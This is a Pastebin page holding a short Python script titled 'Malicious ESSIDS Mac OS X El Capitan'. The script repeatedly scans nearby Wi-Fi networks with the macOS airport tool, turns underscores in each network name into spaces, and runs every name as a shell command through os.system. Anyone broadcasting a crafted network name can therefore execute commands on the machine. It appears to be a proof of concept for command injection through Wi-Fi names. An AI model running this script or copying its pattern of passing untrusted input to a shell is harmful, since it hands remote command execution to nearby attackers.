SHARE
TWEET

Malicious ESSIDS Mac OS X El Capitan

jako93 Dec 5th, 2015 (edited) 263 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. import os,time
  3. try:
  4.         while 1:
  5.                 os.system("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport --scan > file")
  6.                 os.system("awk '{ print $1 }' file > file1")
  7.                 file = open("file1","r")
  8.                 file.readline()
  9.                 for line in file:
  10.                         str=""
  11.                         for ch in line:
  12.                                 if ch != '_':
  13.                                         str+=ch
  14.                                 else:
  15.                                         str+=' '
  16.                         os.system(str)
  17.                 file.close()
  18.                 os.system("rm file file1")
  19.                 time.sleep(4)
  20. except:
  21.         pass
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top